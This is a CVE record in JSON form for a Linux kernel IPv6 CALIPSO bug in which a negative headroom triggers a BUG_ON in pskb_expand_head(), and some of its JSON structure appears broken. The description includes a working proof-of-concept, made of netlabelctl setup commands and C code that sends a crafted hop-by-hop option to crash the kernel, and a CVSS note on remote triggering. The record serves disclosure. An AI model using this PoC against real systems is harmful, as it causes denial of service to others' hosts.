437 lines
22 KiB
JSON
437 lines
22 KiB
JSON
{
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"dataType": "CVE_RECORD",
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"dataVersion": "5.2",
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"cveMetadata": {
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"cveId": "CVE-2025-71085",
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"assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
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"state": "PUBLISHED",
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"assignerShortName": "Linux",
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"dateReserved": "2026-01-13T15:30:19.649Z",
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"datePublished": "2026-01-13T15:34:48.324Z",
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"dateUpdated": "2026-11-10T12:38:51.251Z"
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},
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"cna": {
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"shortName": "Linux",
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"dateUpdated": "2026-08-05T12:11:57.623Z"
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},
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"descriptions": [
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{
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"lang": "en",
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"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = &dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg->cmsg_len = cmsg_len;\n cmsg->cmsg_level = IPPROTO_IPV6;\n cmsg->cmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, &msg, 0);"
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}
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],
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{
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"version": "3.1",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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"baseScore": 7.5,
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"baseSeverity": "HIGH"
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},
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{
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"lang": "en",
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"value": "AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO's CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\nS:U - The assertion and resulting denial of service remain within the host kernel's existing security authority and do not cross a virtualization or sandbox boundary.\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure."
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}
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